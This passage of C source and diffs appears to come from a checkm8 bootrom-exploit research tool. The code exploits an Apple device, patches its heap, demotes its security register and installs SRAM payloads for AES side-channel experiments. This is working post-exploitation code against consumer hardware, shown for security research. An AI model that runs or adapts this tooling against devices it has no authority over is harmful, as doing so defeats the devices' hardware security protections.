addr_async_buf = setup_corr_exp(dev, key);
|
||||
printf("got async buf ptr %llx\n", addr_async_buf);
|
||||
if(addr_async_buf == DEV_PTR_NULL) return;
|
||||
|
||||
while(1)
|
||||
{
|
||||
sprintf(dat_fname, "%s_%i.bin", fname, iter);
|
||||
outfile = fopen(dat_fname, "wb");
|
||||
if(outfile == NULL)
|
||||
{
|
||||
printf("failed to open outfile\n");
|
||||
return;
|
||||
}
|
||||
|
||||
for(j = 0; j < 375; j++)
|
||||
{
|
||||
data = get_corr_exp_data(dev, addr_async_buf);
|
||||
if(data->num_cutoff != 0)
|
||||
printf("more than 0 entries were cutoff\n");
|
||||
|
||||
for(i = 0; i < N_CORR_ENTRIES; i++)
|
||||
{
|
||||
fwrite(msg, 1, sizeof(msg), outfile);
|
||||
fwrite("\x00", 1, 1, outfile);
|
||||
fwrite(&data->data[i], 1, 1, outfile);
|
||||
fwrite("\x00\x00", 1, 2, outfile);
|
||||
|
||||
aes128_encrypt_ecb(msg, 16, key_sched, c);
|
||||
}
|
||||
|
||||
fflush(outfile);
|
||||
for(i = 0; i < 16; i++)
|
||||
{
|
||||
if(msg[i] != data->msg[i])
|
||||
{
|
||||
printf("aes error! message mismatch\n");
|
||||
free(data);
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
free(data);
|
||||
}
|
||||
|
||||
fclose(outfile);
|
||||
iter++;
|
||||
}
|
||||
}
|
||||
|
||||
int main()
|
||||
{
|
||||
struct dev_cmd_resp *resp;
|
||||
struct pwned_device *dev = exploit_device();
|
||||
|
||||
if(dev == NULL || dev->status == DEV_NORMAL)
|
||||
{
|
||||
printf("Failed to exploit device\n");
|
||||
return -1;
|
||||
}
|
||||
|
||||
if(IS_CHECKM8_FAIL(open_device_session(dev)))
|
||||
{
|
||||
printf("failed to open device session\n");
|
||||
return -1;
|
||||
}
|
||||
fix_heap(dev);
|
||||
demote_device(dev);
|
||||
|
||||
if(IS_CHECKM8_FAIL(install_payload(dev, PAYLOAD_SYNC, SRAM)))
|
||||
{
|
||||
printf("failed to install sync payload\n");
|
||||
return -1;
|
||||
}
|
||||
|
||||
if(IS_CHECKM8_FAIL(install_payload(dev, PAYLOAD_FLOPPYSLEEP, SRAM)))
|
||||
{
|
||||
printf("failed to install task sleep payload\n");
|
||||
return -1;
|
||||
}
|
||||
|
||||
float init_a = -7.504355E-39f;
|
||||
resp = write_gadget(dev, 0x180154000, (unsigned char *) &init_a, sizeof(float));
|
||||
free_dev_cmd_resp(resp);
|
||||
|
||||
resp = execute_payload(dev, PAYLOAD_SYNC, 0, 0);
|
||||
if(IS_CHECKM8_FAIL(resp->ret))
|
||||
{
|
||||
printf("failed to execute bootstrap\n");
|
||||
return -1;
|
||||
}
|
||||
|
||||
free_dev_cmd_resp(resp);
|
||||
|
||||
while(1)
|
||||
{
|
||||
resp = execute_payload(dev, PAYLOAD_FLOPPYSLEEP, 0, 1, 0x180154000);
|
||||
if(IS_CHECKM8_FAIL(resp->ret))
|
||||
{
|
||||
printf("failed to execute flopsleep payload\n");
|
||||
return -1;
|
||||
}
|
||||
|
||||
printf("retval is %08lli\n", resp->retval);
|
||||
free_dev_cmd_resp(resp);
|
||||
|
||||
usleep(2000000);
|
||||
}
|
||||
|
||||
close_device_session(dev);
|
||||
run_corr_exp(dev, "key00");
|
||||
free_device(dev);
|
||||
}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
#include "command.h"
|
||||
#include "tool/command.h"
|
||||
|
||||
#include "checkm8.h"
|
||||
#include "usb_helpers.h"
|
||||
#include "tool/usb_helpers.h"
|
||||
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
@@ -25,7 +25,7 @@ int dfu_send_data(struct pwned_device *dev, unsigned char *data, long data_len,
|
||||
|
||||
checkm8_debug_indent("\tsending chunk of size %li at index %li\n", amount, index);
|
||||
|
||||
ret = ctrl_transfer(dev, 0x21, 1, 0, 0, &data[index], amount, 5000, trigger);
|
||||
ret = ctrl_transfer(dev, 0x21, 1, 0, 0, &data[index], amount, 0, trigger);
|
||||
if(ret > 0) checkm8_debug_indent("\ttransferred %i bytes\n", ret);
|
||||
else
|
||||
{
|
||||
@@ -71,7 +71,7 @@ struct dev_cmd_resp *command(struct pwned_device *dev,
|
||||
return cmd_resp;
|
||||
}
|
||||
|
||||
ret = ctrl_transfer(dev, 0x21, 1, 0, 0, nullbuf, 0, 100, 0);
|
||||
ret = ctrl_transfer(dev, 0x21, 1, 0, 0, nullbuf, 0, 0, 0);
|
||||
if(ret >= 0) checkm8_debug_indent("\ttransferred %i bytes\n", ret);
|
||||
else
|
||||
{
|
||||
@@ -80,7 +80,7 @@ struct dev_cmd_resp *command(struct pwned_device *dev,
|
||||
return cmd_resp;
|
||||
}
|
||||
|
||||
ret = ctrl_transfer(dev, 0xA1, 3, 0, 0, nullbuf, 6, 100, 0);
|
||||
ret = ctrl_transfer(dev, 0xA1, 3, 0, 0, nullbuf, 6, 0, 0);
|
||||
if(ret >= 0) checkm8_debug_indent("\ttransferred %i bytes\n", ret);
|
||||
else
|
||||
{
|
||||
@@ -89,7 +89,7 @@ struct dev_cmd_resp *command(struct pwned_device *dev,
|
||||
return cmd_resp;
|
||||
}
|
||||
|
||||
ret = ctrl_transfer(dev, 0xA1, 3, 0, 0, nullbuf, 6, 100, 0);
|
||||
ret = ctrl_transfer(dev, 0xA1, 3, 0, 0, nullbuf, 6, 0, 0);
|
||||
if(ret >= 0) checkm8_debug_indent("\ttransferred %i bytes\n", ret);
|
||||
else
|
||||
{
|
||||
@@ -110,7 +110,7 @@ struct dev_cmd_resp *command(struct pwned_device *dev,
|
||||
ret = ctrl_transfer(dev,
|
||||
0xA1, 2, 0xFFFF, 0,
|
||||
resp_buf, response_len + 1,
|
||||
100, 1);
|
||||
0, 1);
|
||||
if(ret >= 0) checkm8_debug_indent("\tfinal request transferred %i bytes\n", ret);
|
||||
else
|
||||
{
|
||||
@@ -124,7 +124,7 @@ struct dev_cmd_resp *command(struct pwned_device *dev,
|
||||
ret = ctrl_transfer(dev,
|
||||
0xA1, 2, 0xFFFF, 0,
|
||||
resp_buf, response_len,
|
||||
100, 1);
|
||||
0, 1);
|
||||
if(ret >= 0) checkm8_debug_indent("\tfinal request transferred %i bytes\n", ret);
|
||||
else
|
||||
{
|
||||
@@ -157,7 +157,7 @@ struct dev_cmd_resp *command(struct pwned_device *dev,
|
||||
#define MEMS_MAGIC 0x6d656d736d656d73ull // 'memsmems'[::-1]
|
||||
#define DONE_MAGIC 0x646f6e65646f6e65ull // 'donedone'[::-1]
|
||||
|
||||
struct dev_cmd_resp *dev_memset(struct pwned_device *dev, long long addr, unsigned char c, int len)
|
||||
struct dev_cmd_resp *dev_memset(struct pwned_device *dev, unsigned long long addr, unsigned char c, int len)
|
||||
{
|
||||
checkm8_debug_indent("dev_memset(dev = %p, addr = %lx, c = %x, len = %li)\n", dev, addr, c, len);
|
||||
unsigned long long cmd_args[5];
|
||||
@@ -170,7 +170,7 @@ struct dev_cmd_resp *dev_memset(struct pwned_device *dev, long long addr, unsign
|
||||
return command(dev, (unsigned char *) &cmd_args, 5 * sizeof(unsigned long long), 8);
|
||||
}
|
||||
|
||||
struct dev_cmd_resp *dev_memcpy(struct pwned_device *dev, long long dest, long long src, int len)
|
||||
struct dev_cmd_resp *dev_memcpy(struct pwned_device *dev, unsigned long long dest, unsigned long long src, int len)
|
||||
{
|
||||
checkm8_debug_indent("dev_memset(dev = %p, dest = %lx, src = %lx, len = %li)\n", dev, dest, src, len);
|
||||
unsigned long long cmd_args[5];
|
||||
@@ -205,7 +205,7 @@ struct dev_cmd_resp *dev_exec(struct pwned_device *dev, int response_len, int na
|
||||
return command(dev, (unsigned char *) cmd_args, (1 + nargs) * sizeof(unsigned long long), 16 + response_len);
|
||||
}
|
||||
|
||||
struct dev_cmd_resp *dev_read_memory(struct pwned_device *dev, long long addr, int len)
|
||||
struct dev_cmd_resp *dev_read_memory(struct pwned_device *dev, unsigned long long addr, int len)
|
||||
{
|
||||
checkm8_debug_indent("dev_read_memory(dev = %p, addr = %lx, len = %i)\n", dev, addr, len);
|
||||
long long index = 0, amount;
|
||||
@@ -254,7 +254,7 @@ struct dev_cmd_resp *dev_read_memory(struct pwned_device *dev, long long addr, i
|
||||
return ret;
|
||||
}
|
||||
|
||||
struct dev_cmd_resp *dev_write_memory(struct pwned_device *dev, long long addr, unsigned char *data, int len)
|
||||
struct dev_cmd_resp *dev_write_memory(struct pwned_device *dev, unsigned long long addr, unsigned char *data, int len)
|
||||
{
|
||||
checkm8_debug_indent("dev_write_memory(dev = %p, addr = %lx, data = %p, len = %i)\n", dev, addr, data, len);
|
||||
|
||||
|
||||
@@ -1,12 +1,14 @@
|
||||
#include "checkm8.h"
|
||||
|
||||
#include <stdlib.h>
|
||||
|
||||
#include "usb_helpers.h"
|
||||
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
#include <unistd.h>
|
||||
|
||||
#include "tool/usb_helpers.h"
|
||||
#include "tool/command.h"
|
||||
#include "dev/addr.h"
|
||||
|
||||
static unsigned char data_0xA_0xC0_buf[192] =
|
||||
{
|
||||
0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA,
|
||||
@@ -148,6 +150,12 @@ int stage3_function(struct pwned_device *dev)
|
||||
|
||||
checkm8_debug_indent("exploit stage 3\n");
|
||||
FILE *overwrite_file = fopen(CHECKM8_BIN_BASE "overwrite.bin", "r");
|
||||
if(overwrite_file == NULL)
|
||||
{
|
||||
checkm8_debug_indent("\tfailed to open overwrite file\n");
|
||||
return CHECKM8_FAIL_NOINST;
|
||||
}
|
||||
|
||||
fseek(overwrite_file, 0, SEEK_END);
|
||||
ow_len = ftell(overwrite_file);
|
||||
rewind(overwrite_file);
|
||||
@@ -157,6 +165,12 @@ int stage3_function(struct pwned_device *dev)
|
||||
fclose(overwrite_file);
|
||||
|
||||
FILE *payload_file = fopen(CHECKM8_BIN_BASE "payload.bin", "r");
|
||||
if(payload_file == NULL)
|
||||
{
|
||||
checkm8_debug_indent("\tfailed to open payload file\n");
|
||||
return CHECKM8_FAIL_NOINST;
|
||||
}
|
||||
|
||||
fseek(payload_file, 0, SEEK_END);
|
||||
pl_len = ftell(payload_file);
|
||||
rewind(payload_file);
|
||||
@@ -289,6 +303,140 @@ struct pwned_device *exploit_device()
|
||||
}
|
||||
}
|
||||
|
||||
int demote_device(struct pwned_device *dev)
|
||||
{
|
||||
checkm8_debug_indent("demote_device(dev = %p)\n", dev);
|
||||
unsigned int oldval, newval;
|
||||
int retval;
|
||||
|
||||
if(IS_CHECKM8_FAIL(open_device_session(dev)))
|
||||
{
|
||||
checkm8_debug_indent("\tfailed to open a device session\n");
|
||||
return CHECKM8_FAIL_XFER;
|
||||
}
|
||||
|
||||
struct dev_cmd_resp *resp = dev_read_memory(dev, DEMOTE_REG, 4);
|
||||
if(IS_CHECKM8_FAIL(resp->ret))
|
||||
{
|
||||
free_dev_cmd_resp(resp);
|
||||
checkm8_debug_block("\tfailed to read demotion reg\n");
|
||||
return CHECKM8_FAIL_INVARGS;
|
||||
}
|
||||
|
||||
oldval = *((unsigned int *) resp->data);
|
||||
free_dev_cmd_resp(resp);
|
||||
if(!(oldval & 1u))
|
||||
{
|
||||
checkm8_debug_block("\tdevice already demoted\n");
|
||||
if(IS_CHECKM8_FAIL(close_device_session(dev)))
|
||||
{
|
||||
checkm8_debug_indent("\tfailed to close device session\n");
|
||||
return CHECKM8_FAIL_XFER;
|
||||
}
|
||||
|
||||
return CHECKM8_SUCCESS;
|
||||
}
|
||||
|
||||
oldval &= 0xFFFFFFFE;
|
||||
|
||||
checkm8_debug_indent("\tattempting to demote device\n");
|
||||
resp = dev_write_memory(dev, DEMOTE_REG, (unsigned char *) &oldval, 4);
|
||||
if(IS_CHECKM8_FAIL(resp->ret))
|
||||
{
|
||||
checkm8_debug_block("\tfailed to write to demotion reg\n");
|
||||
free_dev_cmd_resp(resp);
|
||||
|
||||
if(IS_CHECKM8_FAIL(close_device_session(dev)))
|
||||
{
|
||||
checkm8_debug_indent("\tfailed to close device session\n");
|
||||
return CHECKM8_FAIL_XFER;
|
||||
}
|
||||
|
||||
return CHECKM8_FAIL_INVARGS;
|
||||
}
|
||||
free_dev_cmd_resp(resp);
|
||||
|
||||
// verify
|
||||
resp = dev_read_memory(dev, DEMOTE_REG, 4);
|
||||
if(IS_CHECKM8_FAIL(resp->ret))
|
||||
{
|
||||
free_dev_cmd_resp(resp);
|
||||
checkm8_debug_block("\tfailed to verify demotion reg\n");
|
||||
|
||||
if(IS_CHECKM8_FAIL(close_device_session(dev)))
|
||||
{
|
||||
checkm8_debug_indent("\tfailed to close device session\n");
|
||||
return CHECKM8_FAIL_XFER;
|
||||
}
|
||||
|
||||
return CHECKM8_FAIL_INVARGS;
|
||||
}
|
||||
|
||||
newval = *((unsigned int *) resp->data);
|
||||
free_dev_cmd_resp(resp);
|
||||
|
||||
if(oldval == newval)
|
||||
{
|
||||
checkm8_debug_block("\tdemotion success!\n");
|
||||
retval = CHECKM8_SUCCESS;
|
||||
}
|
||||
else
|
||||
{
|
||||
checkm8_debug_block("\tdemotion register did not change!\n");
|
||||
retval = CHECKM8_FAIL_INVARGS;
|
||||
}
|
||||
|
||||
if(IS_CHECKM8_FAIL(close_device_session(dev)))
|
||||
{
|
||||
checkm8_debug_indent("\tfailed to close device session\n");
|
||||
return CHECKM8_FAIL_XFER;
|
||||
}
|
||||
|
||||
return retval;
|
||||
}
|
||||
|
||||
int fix_heap(struct pwned_device *dev)
|
||||
{
|
||||
checkm8_debug_indent("fix_heap(dev = %p)\n", dev);
|
||||
int close;
|
||||
|
||||
#if CHECKM8_PLATFORM == 8010
|
||||
unsigned long long block1_data[4] = {0x80 / 0x40, ((0x840u / 0x40) << 2u), 0x80, 0};
|
||||
unsigned long long block2_data[4] = {0x80 / 0x40, ((0x80u / 0x40) << 2u), 0x80, 0};
|
||||
unsigned long long block3_data[4] = {0x80 / 0x40, ((0x80u / 0x40) << 2u), 0x80, 0};
|
||||
|
||||
unsigned long long calc1_args[5] = {ADDR_CALC_CHKSUM, 0x1801b9180, 0x1801b91a0, 32, 0x180080640};
|
||||
unsigned long long calc2_args[5] = {ADDR_CALC_CHKSUM, 0x1801b9200, 0x1801b9220, 32, 0x180080640};
|
||||
unsigned long long calc3_args[5] = {ADDR_CALC_CHKSUM, 0x1801b9280, 0x1801b92a0, 32, 0x180080640};
|
||||
|
||||
if(is_device_session_open(dev)) close = 0;
|
||||
else
|
||||
{
|
||||
close = 1;
|
||||
if(IS_CHECKM8_FAIL(open_device_session(dev)))
|
||||
{
|
||||
checkm8_debug_indent("\tfailed to open a device session\n");
|
||||
return CHECKM8_FAIL_XFER;
|
||||
}
|
||||
}
|
||||
|
||||
dev_write_memory(dev, 0x1801b91a0, (unsigned char *) block1_data, 64);
|
||||
dev_write_memory(dev, 0x1801b9220, (unsigned char *) block2_data, 64);
|
||||
dev_write_memory(dev, 0x1801b92a0, (unsigned char *) block3_data, 64);
|
||||
|
||||
dev_exec(dev, 0, 5, calc1_args);
|
||||
dev_exec(dev, 0, 5, calc2_args);
|
||||
dev_exec(dev, 0, 5, calc3_args);
|
||||
|
||||
if(close) close_device_session(dev);
|
||||
|
||||
#else
|
||||
#error "Can't fix heap for unknown platform"
|
||||
#endif
|
||||
|
||||
return CHECKM8_SUCCESS;
|
||||
}
|
||||
|
||||
void free_device(struct pwned_device *dev)
|
||||
{
|
||||
checkm8_debug_indent("free_device(dev = %p)\n", dev);
|
||||
|
||||
@@ -1,13 +1,13 @@
|
||||
#include "payload.h"
|
||||
#include "tool/payload.h"
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <stdarg.h>
|
||||
|
||||
#include "command.h"
|
||||
#include "usb_helpers.h"
|
||||
#include "tool/command.h"
|
||||
#include "tool/libpayload.h"
|
||||
|
||||
#include "libpayload.h"
|
||||
#include "dev/addr.h"
|
||||
|
||||
struct payload
|
||||
{
|
||||
@@ -15,11 +15,22 @@ struct payload
|
||||
const unsigned char *data;
|
||||
int len;
|
||||
|
||||
long long install_base;
|
||||
DEV_PTR_T install_base;
|
||||
DEV_PTR_T async_base;
|
||||
|
||||
struct payload *next;
|
||||
struct payload *prev;
|
||||
};
|
||||
|
||||
struct data
|
||||
{
|
||||
DEV_PTR_T addr;
|
||||
int len;
|
||||
|
||||
struct data *next;
|
||||
struct data *prev;
|
||||
};
|
||||
|
||||
struct payload *get_payload(PAYLOAD_T p)
|
||||
{
|
||||
struct payload *res;
|
||||
@@ -28,24 +39,29 @@ struct payload *get_payload(PAYLOAD_T p)
|
||||
|
||||
switch(p)
|
||||
{
|
||||
case PAYLOAD_AES:
|
||||
pl = payload_aes;
|
||||
len = PAYLOAD_AES_SZ;
|
||||
break;
|
||||
|
||||
case PAYLOAD_AES_BUSY:
|
||||
pl = payload_aes_busy;
|
||||
len = PAYLOAD_AES_BUSY_SZ;
|
||||
break;
|
||||
|
||||
case PAYLOAD_AES_SW:
|
||||
pl = payload_aes_sw;
|
||||
len = PAYLOAD_AES_SW_SZ;
|
||||
case PAYLOAD_AES_SW_BERN:
|
||||
pl = payload_aes_sw_bern;
|
||||
len = PAYLOAD_AES_SW_BERN_SZ;
|
||||
break;
|
||||
|
||||
case PAYLOAD_BOOTSTRAP:
|
||||
pl = payload_bootstrap;
|
||||
len = PAYLOAD_BOOTSTRAP_SZ;
|
||||
case PAYLOAD_AES_SW_CORR:
|
||||
pl = payload_aes_sw_corr;
|
||||
len = PAYLOAD_AES_SW_CORR_SZ;
|
||||
break;
|
||||
|
||||
case PAYLOAD_CACHELIB:
|
||||
pl = payload_cachelib;
|
||||
len = PAYLOAD_CACHELIB_SZ;
|
||||
break;
|
||||
|
||||
case PAYLOAD_EXIT_USB_TASK:
|
||||
pl = payload_exit_usb_task;
|
||||
len = PAYLOAD_EXIT_USB_TASK_SZ;
|
||||
break;
|
||||
|
||||
case PAYLOAD_FLOPPYSLEEP:
|
||||
@@ -58,16 +74,6 @@ struct payload *get_payload(PAYLOAD_T p)
|
||||
len = PAYLOAD_SYNC_SZ;
|
||||
break;
|
||||
|
||||
case PAYLOAD_SYSREG:
|
||||
pl = payload_sysreg;
|
||||
len = PAYLOAD_SYSREG_SZ;
|
||||
break;
|
||||
|
||||
case PAYLOAD_TASK_SLEEP_TEST:
|
||||
pl = payload_task_sleep_test;
|
||||
len = PAYLOAD_TASK_SLEEP_TEST_SZ;
|
||||
break;
|
||||
|
||||
default:
|
||||
return NULL;
|
||||
}
|
||||
@@ -79,32 +85,18 @@ struct payload *get_payload(PAYLOAD_T p)
|
||||
res->type = p;
|
||||
res->len = len;
|
||||
res->data = pl;
|
||||
res->install_base = -1;
|
||||
res->install_base = DEV_PTR_NULL;
|
||||
res->async_base = DEV_PTR_NULL;
|
||||
res->next = NULL;
|
||||
res->prev = NULL;
|
||||
|
||||
return res;
|
||||
}
|
||||
|
||||
void free_payload(struct payload *p)
|
||||
{
|
||||
free(p);
|
||||
}
|
||||
|
||||
long long curr_address = 0x180150000;
|
||||
long long get_address(struct pwned_device *dev, LOCATION_T l)
|
||||
{
|
||||
//TODO: make an actual memory allocator
|
||||
long long ret = curr_address;
|
||||
curr_address += 0x1000;
|
||||
return ret;
|
||||
}
|
||||
|
||||
|
||||
struct payload *dev_retrieve_payload(struct pwned_device *dev, PAYLOAD_T p)
|
||||
{
|
||||
struct payload *curr;
|
||||
for(curr = dev->installed; curr != NULL; curr = curr->next)
|
||||
for(curr = dev->inst_pl; curr != NULL; curr = curr->next)
|
||||
{
|
||||
if(curr->type == p) return curr;
|
||||
}
|
||||
@@ -115,14 +107,14 @@ struct payload *dev_retrieve_payload(struct pwned_device *dev, PAYLOAD_T p)
|
||||
int dev_link_payload(struct pwned_device *dev, struct payload *pl)
|
||||
{
|
||||
struct payload *curr;
|
||||
if(dev->installed == NULL)
|
||||
if(dev->inst_pl == NULL)
|
||||
{
|
||||
dev->installed = pl;
|
||||
dev->inst_pl = pl;
|
||||
return CHECKM8_SUCCESS;
|
||||
}
|
||||
else
|
||||
{
|
||||
for(curr = dev->installed; curr->next != NULL; curr = curr->next);
|
||||
for(curr = dev->inst_pl; curr->next != NULL; curr = curr->next);
|
||||
|
||||
curr->next = pl;
|
||||
pl->prev = curr;
|
||||
@@ -130,21 +122,125 @@ int dev_link_payload(struct pwned_device *dev, struct payload *pl)
|
||||
}
|
||||
}
|
||||
|
||||
int *dev_unlink_payload(struct pwned_device *dev, struct payload *pl)
|
||||
int dev_unlink_payload(struct pwned_device *dev, struct payload *pl)
|
||||
{
|
||||
if(dev->installed == pl)
|
||||
if(dev->inst_pl == pl)
|
||||
{
|
||||
dev->installed = NULL;
|
||||
dev->inst_pl = pl->next;
|
||||
return CHECKM8_SUCCESS;
|
||||
}
|
||||
else
|
||||
{
|
||||
pl->prev->next = pl->next;
|
||||
pl->next->prev = pl->prev;
|
||||
if(pl->next != NULL)
|
||||
pl->next->prev = pl->prev;
|
||||
|
||||
return CHECKM8_SUCCESS;
|
||||
}
|
||||
}
|
||||
|
||||
struct data *dev_retrieve_data(struct pwned_device *dev, DEV_PTR_T addr)
|
||||
{
|
||||
struct data *curr;
|
||||
for(curr = dev->inst_data; curr != NULL; curr = curr->next)
|
||||
{
|
||||
if(curr->addr == addr) return curr;
|
||||
}
|
||||
|
||||
return NULL;
|
||||
}
|
||||
|
||||
int dev_link_data(struct pwned_device *dev, struct data *data)
|
||||
{
|
||||
struct data *curr;
|
||||
if(dev->inst_data == NULL)
|
||||
{
|
||||
dev->inst_data = data;
|
||||
return CHECKM8_SUCCESS;
|
||||
}
|
||||
else
|
||||
{
|
||||
for(curr = dev->inst_data; curr->next != NULL; curr = curr->next);
|
||||
|
||||
curr->next = data;
|
||||
data->prev = curr;
|
||||
return CHECKM8_SUCCESS;
|
||||
}
|
||||
}
|
||||
|
||||
int dev_unlink_data(struct pwned_device *dev, struct data *data)
|
||||
{
|
||||
if(dev->inst_data == data)
|
||||
{
|
||||
dev->inst_data = data->next;
|
||||
return CHECKM8_SUCCESS;
|
||||
}
|
||||
else
|
||||
{
|
||||
data->prev->next = data->next;
|
||||
if(data->next != NULL)
|
||||
data->next->prev = data->prev;
|
||||
|
||||
return CHECKM8_SUCCESS;
|
||||
}
|
||||
}
|
||||
|
||||
DEV_PTR_T get_address(struct pwned_device *dev, LOCATION_T l, int len)
|
||||
{
|
||||
checkm8_debug_indent("get_address(dev = %p, loc = %i, len = %i)\n", dev, l, len);
|
||||
DEV_PTR_T retval;
|
||||
unsigned long long malloc_args[2] = {ADDR_DEV_MALLOC, (unsigned long long) len};
|
||||
struct data *new_entry;
|
||||
|
||||
struct dev_cmd_resp *resp = dev_exec(dev, 0, 2, malloc_args);
|
||||
if(IS_CHECKM8_FAIL(resp->ret))
|
||||
{
|
||||
free_dev_cmd_resp(resp);
|
||||
checkm8_debug_indent("\tfailed to malloc an address\n");
|
||||
return DEV_PTR_NULL;
|
||||
}
|
||||
|
||||
retval = resp->retval;
|
||||
free_dev_cmd_resp(resp);
|
||||
|
||||
new_entry = malloc(sizeof(struct data));
|
||||
new_entry->addr = retval;
|
||||
new_entry->len = len;
|
||||
new_entry->prev = NULL;
|
||||
new_entry->next = NULL;
|
||||
dev_link_data(dev, new_entry);
|
||||
|
||||
checkm8_debug_indent("\tgot address %llX\n", retval);
|
||||
return retval;
|
||||
}
|
||||
|
||||
int free_address(struct pwned_device *dev, LOCATION_T l, DEV_PTR_T ptr)
|
||||
{
|
||||
struct dev_cmd_resp *resp;
|
||||
struct data *entry;
|
||||
unsigned long long free_args[2] = {ADDR_DEV_FREE, ptr};
|
||||
|
||||
entry = dev_retrieve_data(dev, ptr);
|
||||
if(entry == NULL)
|
||||
{
|
||||
checkm8_debug_indent("\tthis pointer was not allocated through the payload interface, not freeing\n");
|
||||
return CHECKM8_FAIL_NOINST;
|
||||
}
|
||||
|
||||
resp = dev_exec(dev, 0, 2, free_args);
|
||||
if(IS_CHECKM8_FAIL(resp->ret))
|
||||
{
|
||||
free_dev_cmd_resp(resp);
|
||||
checkm8_debug_indent("\tfailed to free allocated payload memory\n");
|
||||
return CHECKM8_FAIL_XFER;
|
||||
}
|
||||
|
||||
free_dev_cmd_resp(resp);
|
||||
dev_unlink_data(dev, entry);
|
||||
free(entry);
|
||||
|
||||
return CHECKM8_SUCCESS;
|
||||
}
|
||||
|
||||
int install_payload(struct pwned_device *dev, PAYLOAD_T p, LOCATION_T loc)
|
||||
{
|
||||
@@ -152,7 +248,7 @@ int install_payload(struct pwned_device *dev, PAYLOAD_T p, LOCATION_T loc)
|
||||
|
||||
struct dev_cmd_resp *resp = NULL;
|
||||
struct payload *pl = get_payload(p);
|
||||
long long addr = get_address(dev, loc);
|
||||
DEV_PTR_T addr = get_address(dev, loc, pl->len);
|
||||
|
||||
if(pl == NULL || addr == -1)
|
||||
{
|
||||
@@ -177,13 +273,60 @@ int install_payload(struct pwned_device *dev, PAYLOAD_T p, LOCATION_T loc)
|
||||
|
||||
int uninstall_payload(struct pwned_device *dev, PAYLOAD_T p)
|
||||
{
|
||||
//TODO: free memory in memory allocator
|
||||
checkm8_debug_indent("uninstall payload(dev = %p, p = %i)\n", dev, p);
|
||||
struct payload *pl = dev_retrieve_payload(dev, p);
|
||||
|
||||
if(pl == NULL)
|
||||
{
|
||||
checkm8_debug_indent("\tinvalid args (payload)\n");
|
||||
return CHECKM8_FAIL_INVARGS;
|
||||
}
|
||||
|
||||
if(IS_CHECKM8_FAIL(free_address(dev, SRAM, pl->install_base)))
|
||||
{
|
||||
checkm8_debug_indent("\tfailed to free memory used by payload!\n");
|
||||
return CHECKM8_FAIL_XFER;
|
||||
}
|
||||
|
||||
dev_unlink_payload(dev, pl);
|
||||
free(pl);
|
||||
return CHECKM8_SUCCESS;
|
||||
}
|
||||
|
||||
int uninstall_all_payloads(struct pwned_device *dev)
|
||||
{
|
||||
checkm8_debug_indent("uninstall_all_payloads(dev = %p)\n");
|
||||
int ret;
|
||||
while(dev->inst_pl != NULL)
|
||||
{
|
||||
ret = uninstall_payload(dev, dev->inst_pl->type);
|
||||
if(IS_CHECKM8_FAIL(ret))
|
||||
{
|
||||
checkm8_debug_indent("\terror while uninstalling\n");
|
||||
return ret;
|
||||
}
|
||||
}
|
||||
|
||||
return CHECKM8_SUCCESS;
|
||||
}
|
||||
|
||||
DEV_PTR_T get_payload_address(struct pwned_device *dev, PAYLOAD_T p)
|
||||
{
|
||||
struct payload *pl = dev_retrieve_payload(dev, p);
|
||||
if(pl == NULL)
|
||||
{
|
||||
return DEV_PTR_NULL;
|
||||
}
|
||||
else
|
||||
{
|
||||
return pl->install_base;
|
||||
}
|
||||
}
|
||||
|
||||
struct dev_cmd_resp *execute_payload(struct pwned_device *dev, PAYLOAD_T p, int response_len, int nargs, ...)
|
||||
{
|
||||
checkm8_debug_indent("execute_payload(dev = %p, p = %i, nargs = %i, ...)\n", dev, p, nargs);
|
||||
checkm8_debug_indent("execute_payload(dev = %p, p = %i, response_len = %i, nargs = %i, ...)\n",
|
||||
dev, p, response_len, nargs);
|
||||
int i;
|
||||
struct dev_cmd_resp *resp;
|
||||
struct payload *pl;
|
||||
@@ -212,19 +355,215 @@ struct dev_cmd_resp *execute_payload(struct pwned_device *dev, PAYLOAD_T p, int
|
||||
return dev_exec(dev, response_len, nargs + 1, args);
|
||||
}
|
||||
|
||||
struct dev_cmd_resp *read_gadget(struct pwned_device *dev, long long addr, int len)
|
||||
unsigned long long setup_payload_async(struct pwned_device *dev, PAYLOAD_T p, int bufsize, int nargs, ...)
|
||||
{
|
||||
checkm8_debug_indent("setup_payload_async(dev = %p, p = %i, bufsize = %i, nargs = %i, ...)\n",
|
||||
dev, p, bufsize, bufsize, nargs);
|
||||
int i;
|
||||
struct dev_cmd_resp *resp;
|
||||
struct payload *pl;
|
||||
DEV_PTR_T buf_addr;
|
||||
unsigned long long buf_args[nargs], task_args[5];
|
||||
|
||||
if((pl = dev_retrieve_payload(dev, p)) == NULL)
|
||||
{
|
||||
checkm8_debug_indent("\tpayload is not installed\n");
|
||||
return DEV_PTR_NULL;
|
||||
}
|
||||
|
||||
checkm8_debug_indent("\tadjusting buffer size (if necessary)\n");
|
||||
if(bufsize < nargs * sizeof(unsigned long long))
|
||||
{
|
||||
checkm8_debug_indent("\texpanding buffer to fit (at least) provided arguments\n");
|
||||
bufsize = nargs * sizeof(unsigned long long);
|
||||
}
|
||||
|
||||
buf_addr = get_address(dev, SRAM, bufsize);
|
||||
if(buf_addr == DEV_PTR_NULL)
|
||||
{
|
||||
checkm8_debug_indent("\tfailed to get a shared buffer for the payload\n");
|
||||
return DEV_PTR_NULL;
|
||||
}
|
||||
|
||||
va_list arg_list;
|
||||
va_start(arg_list, nargs);
|
||||
for(i = 0; i < nargs; i++)
|
||||
{
|
||||
buf_args[i] = va_arg(arg_list, unsigned long long);
|
||||
checkm8_debug_indent("\textracted arg %lx\n", buf_args[i]);
|
||||
}
|
||||
va_end(arg_list);
|
||||
|
||||
resp = dev_write_memory(dev, buf_addr, (unsigned char *) buf_args, nargs * sizeof(unsigned long long));
|
||||
if(IS_CHECKM8_FAIL(resp->ret))
|
||||
{
|
||||
checkm8_debug_indent("\tfailed to write args to shared buffer\n");
|
||||
if(IS_CHECKM8_FAIL(free_address(dev, SRAM, buf_addr)))
|
||||
{
|
||||
